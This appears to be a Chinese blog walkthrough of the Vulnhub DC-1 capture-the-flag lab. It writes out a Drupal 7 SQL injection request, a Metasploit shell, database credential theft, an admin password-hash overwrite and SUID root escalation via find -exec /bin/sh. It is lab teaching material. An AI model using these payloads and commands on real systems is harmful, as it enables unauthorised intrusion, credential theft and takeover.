【Vulnhub】DC-1靶機
一、資訊收集
1.1 環境
kali : 192.168.124.141
DC-1 : 192.168.124.150
1.2 nmap進行掃描 :nmap -sV 192.168.124.150
IP : 192.168.124.150 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0) 80/tcp open http Apache httpd 2.2.22 ((Debian)) 111/tcp open rpcbind 2-4(RPC #100000) MAC Address: 00:0C:29:17:19:2E (VMware) Device type: general purpose Running: Linux 3.X OS CPE: cpe:/o:linux:linux_kernel:3 OS details: Linux 3.2 - 3.16 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
發現有22埠 ,先拿hydra爆破發現也沒爆破出來 。
登入web頁面 看看有沒有有用,發現web指紋。
搜尋了一下發現Drupal 7.0是存在SQL注入漏洞的,利用burpsuite抓包發到repeater模組,經過證實是可以使用user(),database()等內建函式的,但是後續進行爆表爆欄位發現注入失敗,一直在報錯。
POST /node?destination=node HTTP/1.1 Host: 192.168.124.150 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 120 Origin:http://192.168.124.150 Connection: keep-alive Referer: http://192.168.124.150/ Cookie: has_js=1 Upgrade-Insecure-Requests: 1 pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a
上面手注無果,不過已經是知道有SQL注入漏洞了,看前輩文章提示發現可以利用Metasploit。
kali利用msf過程:
選擇這個存在SQL注入的攻擊模組
run執行,之後獲得一個shell環境
之後執行python指令碼獲得一個類似於terminal環境的shell
當前許可權為www-data ,同時當前目錄下有flag1
獲得flag1:Every good CMS needs a config file - and so do you.
根據提示需要看配置檔案,但是看web.config後沒發現有用的地方,檢視前輩文章,發現需要找類似於settings.php的檔案或者config.php的檔案,那就進行模糊查詢看看。
find -name '*set*.php'
發現應該是 sites/default/settings.php
cat看一下。獲得flag2;獲得MySQL資料庫賬號密碼。
連線資料庫看一下,mysql -u dbuser -p
R0ck3t
進入資料庫,那就脫褲看看 (刺激:) )
就倆庫,應該是drupaldb裡應該有什麼值得鼓搗的東西
發現裡面有個users表,檢視一下表裡的內容
應該是web頁面的登陸賬號密碼,但是密碼進行了特殊加密。此時卡住 Orz
看前輩文章得知需要知道drupal加密的方式,將自己進行加密後的密碼放到資料庫裡,或者直接修改已存在的使用者的密碼。
通過查詢發現:
加密方式檔案為: /includes/password.inc
加密檔案(可執行)為: /scripts/password-hash.sh
利用方式:
執行 ./password-hash.sh password 即可獲得加密過的password
PS:此處需要提前將includes目錄全部複製到scripts目錄下才可進行加密
進入scripts目錄,執行:cp -r ../includes ./
加密 123 ./password-hash.sh 123
修改admin使用者的密碼為123:
資料庫中執行
update users Set pass='$S$Ddw9oMOm2nfFPozoI.HYcdLo6jJIyLQHfmx8shTmNq1m873jzuXr' where name='admin';
修改好後即可用123登入web介面,瞎點了點發現了flag3
flag3:
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
此處提示提到了 shadow檔案 和exec命令
Shadow肯定是沒許可權看了,先看看passwd吧
發現flag4,進入/home/flag4目錄下發現flag4.txt
根據提示,想拿最後flag需要root許可權,所以還是需要提權。
根據前輩提示此處需要進行SUID提權 ,結合之前的flag所以應該是結合find命令和-exec ---Orz
SUID提權原理:如果find本身具有suid的許可權,因此通過find執行的命令就是root許可權。
關於SUID:SUID(Set ownerUserIDup on execution) 是給予檔案的一個特殊型別的檔案許可權。在 Linux/Unix中,當一個程式執行的時候, 程式將從登入使用者處繼承許可權。SUID被定義為給予一個使用者臨時的(程式/檔案)所有者的許可權來執行一個程式/檔案。使用者在執行程式/檔案/命令的時候,將獲取檔案所有者的許可權以及所有者的UID和GID。
SUID提權:
https://www.cnblogs.com/junsec/p/11652723.html
首先執行
find/ -perm -u=s -typef 2>/dev/null 查詢suid檔案
命令解釋:
/表示從檔案系統的頂部(根)開始並找到每個目錄 -perm 表示搜尋隨後的許可權 -u = s表示查詢root使用者擁有的檔案 -type表示我們正在尋找的檔案型別 f 表示常規檔案,而不是目錄或特殊檔案 2表示該程序的第二個檔案描述符,即stderr(標準錯誤) >表示重定向 / dev / null是一個特殊的檔案系統物件,它將丟棄寫入其中的所有內容。
利用find命令進行SUID 提權:
利用方式:find ./aaa -exec '/bin/sh'\;
已提升到root許可權,拿到final flag
總結:
0x01:資訊收集,22掃描爆破無果;掃描web指紋發現drupal7存在sql漏洞 0x02:利用metasploit並配合python指令碼彈shell 0x03:依據flag1提示,找到setting配置檔案獲得mysql資料庫賬號;拿到flag2 0x04:根據前輩提示獲取drupal資料庫加密方式新增/修改 獲得web頁面賬號 0x05:在web頁面拿到flag3 根據提示需要利用find -exec shadow等進行進一步滲透 0x06:檢視passwd檔案看到flag4使用者,在home/flag4拿到flag4得知必須要提權至root 0x07:根據前輩的文章提示需要利用SUID進行提權,利用find提權之後拿到最終flag